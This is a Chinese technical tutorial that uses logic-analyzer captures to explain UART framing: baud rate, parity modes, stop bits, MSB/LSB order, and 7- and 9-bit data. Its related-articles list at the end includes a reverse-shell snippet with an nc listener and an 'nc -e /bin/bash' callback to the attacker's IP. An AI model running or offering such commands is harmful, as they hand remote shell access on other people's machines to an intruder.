用逻辑分析仪观察串口Uart数据波形

news2024/11/17 0:08:02

一、概述

只讨论嵌入式编程中较为常用的异步串行接口(Universal Asynchronous Receiver/Transmitter, UART),TTL电平。
串口的参数一般有:
1.波特率,数据传输速率,单位bps(bits per second),即每秒传输的位数,常见的波特率有9600bps、19200bps、115200bps等;如果波特率为115200bps,则传输一个bit的时间是1/115200s≈8.68us;
2.空闲位,当总线处于空闲状态时信号线的状态为‘1’即高电平,表示当前线路上没有数据传输;
3.起始位,总线空闲时为高电平,所以开始一次通信时先发送一个明显区别于空闲状态的信号即低电平’0’,来表示传输字符的开始;
4.数据位,起始位之后,跟着要传输的数据,数据可以是5、6、7、8、9等位,构成一个字符,一般是8位;一般先发送最低位,最后发送最高位(LSB),使用低电平表示‘0’高电平表示‘1’完成数据位的传输;
5.校验位,校验数据传送的正确性,分为以下几种方式:
①无校验(no parity),即不使用校验位;
②奇校验(odd parity),如果数据位中“1”的数目是偶数,则校验位为“1”,如果“1”的数目是奇数,校验位为“0”;
③偶校验(even parity),如果数据为中“1”的数目是偶数,则校验位为“0”,如果为奇数,校验位为“1”;
④ Mark校验,校验位始终为1;
⑤Space校验,校验位始终为0;
6.停止位,表示数据传输结束,高电平,可为1、1.5或2位,
7.传输方向,即数据是从高位(MSB)开始传输,还是从低位(LSB)开始传输;
下面通过逻辑分析仪抓取的串口通信的数据波形,直观地感受、理解各个参数的含义。

二、Uart通信数据波形

1.串口配置:9600bps,8数据位,无校验,1个停止位,从低位开始传输(LSB),数据为0xAA:
在这里插入图片描述
从上图可看出,BEGIN为起始位,低电平,然后是8位数据位,从低到高位依次是0、1、0、1、0、1、0、1,即二进制10101010,十六进制为0xAA,没有校验位,紧跟着一个END,为停止位,高电平,之后保持高电平(空闲);起始位、数据位、停止位共10位,时间间隔约为1.042ms,经测量,传输每一位的时间是一致、平均的,则传输每1位的时间为0.1042ms,波特率为9596.9bps≈9600bps,误差较小。

2.串口配置:19200bps,8数据位,奇校验,1个停止位,从低位开始传输(LSB),数据为0xAA、0xBA:
在这里插入图片描述
从上图可看出,加上校验位后,11位传输用时572us,则平均每位用时52us,即19230.8bps≈19200bps;数据0xAA中,共有4个“1”,是偶数,所以校验位为1,而0xBA中共有5个“1”,奇数,所以校验为是0,图中的“Right”表示校验正确。
将配置改为偶校验,其他不变,校验位如下图,对照偶校验的定义,可知校验正确:
在这里插入图片描述将配置分别改为Mark校验、Space校验,其他不变,校验位分别如下面两图,可知校验正确:
Mark校验,校验位是1:
Mark校验Space校验,校验位是0:
Space校验
3.串口配置:19200bps,8数据位,无校验,2个停止位,从低位开始传输(LSB),数据为0xAA:
在这里插入图片描述
由前文可知,19200bps时每位的时间约52us,而上图中停止位END所占时间为M1与M2之间的间隔,104us,因此停止位为2位。

4.串口配置:19200bps,8数据位,无校验,1个停止位,从高位开始传输,即MSB方式(瑞萨的RL78系列MCU可以设置LSB或者MSB模式),数据为0xAA:
在这里插入图片描述
上图与前面几张图对比,LSB模式下,数据0xAA在BEGIN起始位之后,是按照从低到高位即0、1、0、1、0、1、0、1的顺序传输的,而上图是按照1、0、1、0、1、0、1、0的顺序传输的,逻辑分析仪也设置为按照MSB的模式接收,即可正确识别出数据0xAA。

5.串口配置:19200bps,7数据位,无校验,1个停止位,从低位开始传输(LSB),数据为0xAA:
在这里插入图片描述
上图中,传输的数据是0xAA,正常情况下,BEGIN起始信号后面应该是0、1、0、1、0、1、0、1,然后是停止位END,但实际上缺失了最后的1,即0xAA的最高位1,只有7位,数据变成了0x2A;
再试着发送数据0xFF,其他配置不变:
在这里插入图片描述
数据变为0x7F,仍然是最高位的1缺失;
接下来,发送数据0x7E:
在这里插入图片描述
虽然数据只有7位,但是正确的,因此在数据只有7位的情况下,传输小于0x7F的数据,即最高位本来就是0的情况,数据是可以正确传输的,例如传输ASCII码。
51单片机支持9位数据模式,可通过SCON寄存器的SM0、SM1、TB8、RB8位设置:
在这里插入图片描述
在这里插入图片描述我们以51单片机STC8G1K08为例来观察9位数据的的波形;将串口配置数据为改为9位,其他不变,单片机串口1模式3,TB8位置0(即第9位数据为0),SBUF中的数据为0xAA:
在这里插入图片描述从上图可看出,正确发出了9位数据;
下面将TB8位置1(即第9位数据为1),其他不变,数据波形第9位是1:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163560.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis Twemproxy 集群,水平扩展 ,扩容方案

文章目录 一、概述二、Twemproxy 分布模式三、测试规划四、Redis 服务实例准备4.1 配置Redis实例4.2 创建关资源4.3 启动Redis服务实例 五、Twemproxy 安装准备六、Twemproxy 安装及集群配置6.1 安装 Twemproxy6.2 配置 Twemproxy6.3 启动 twemproxy6.4 测试 twemproxy 集群 如…

高月薪高年终如何抉择?

论坛上看到一篇文章,这个同学在纠结是选择月薪低x高年终还是选择高月薪的公司。 看了各位小伙伴给的建议,似乎都建议楼主去第二家高月薪的公司。 当然了,选择公司不能只看薪资高低,也要综合职级、老板、团队、职业发展潜力做决策…

selenium爬虫——以爬取澎湃新闻某搜索结果为例

文章目录 selenium爬虫——以爬取澎湃新闻某搜索结果为例前言需要导入的包需要避雷的点webdriver的版本要与浏览器一致如果使用爬虫打开了新网页,要记得跳转XPath和selector都可以直接复制爬取多网页时记得try打入word时调整字体的问题 完整程序爬取效果 selenium爬…

计算机的输入输出设备

文章目录 前言一、常见的输入输出设备1.字符输入设备2.图形输入设备3.图像输出设备 二、输入输出接口的通用设计三、CPU与IO设备的通信1.程序中断2.DMA(直接存储器访问) 前言 今天给大家介绍计算机的输入输出设备,包括三个板块:常…

提升工作效率与质量——马斯克的五步工作法

图片来源网络 埃隆马斯克(Elon Musk)是一位备受赞誉的创业家和工程师,他的成功并非偶然,而是源于他对问题的深刻理解以及不断追求最佳解决方案的决心。为了实现这一目标,他制定了一套包含五个步骤的工作方法&#xff0…

高分文章推荐。8+鞘脂代谢+预后模型+实验验证生信思路

今天给同学们分享一篇鞘脂相关基因在乳腺癌临床中的作用的生信文章“Exploring the role of sphingolipid-related genes in clinical outcomes of breast cancer”,这篇文章于2023年2月14日发表在Front Immunol期刊上,影响因子为8.786。尽管癌症研究取得…

基于Google Earth Engine云平台构建的多源遥感数据森林地上生物量AGB估算模型含生物量模型应用APP

最近我在 International Journal of Digital Earth (《国际数字地球学报》)发表了一篇森林生物量模型构建的文章:Evaluation of machine learning methods and multi-source remote sensing data combinations to construct forest above-gro…

GEE:计算多个流域逐日的降水量均值,并将流域名、降水量、时间等属性下载至csv

作者:CSDN @ _养乐多_ 现在我有多个流域的矢量边界,想求每个流域某段时间每天的降水量均值,并想要将降水量均值、时间、流域名称下载到本地,以csv格式保存。 本文记录了解决以上需求的代码。 结果如下图所示, 如图所示,本文代码可以计算珠江流域每日降水量均值,并能下…

Linux学习第30天:Linux 自带的 LED 灯驱动实验:驱动开发思维方式的转变势在必行

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 学习嵌入式Linux驱动开发整整30天了。今天简单做一个小结。因为之前的主要工作是做ARM的裸机开发,所以接触Linux以后感觉很多东西都变了。不仅仅包括…

C++ 类的设计

一、c类的设计 类 是一种将抽象转换为用户定义类型的 C工具, 它将数据表示操纵数据的方法组合成一个整洁的包。 语法: 其中"class类名"称为类头。花括号中的部分称为类体,类体中定义了类成员表。 在C中,类是一种数据类型…

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹(方法一)二、使用【Windows R 】 打开运行窗口(方法二)三、示例总结 前言 发布出来的程序,客户需要开机自启,so 查了一下 一、开机自启的文件夹(方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件,顾名思义,是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道,更注重对事件背后的社会现象、原因、影响等方面进行深度剖析,从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言? 高级语言 这里的高级都是相对于汇编语言来说的,是指脱离了计算机的硬件系统,可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写,很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代,传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…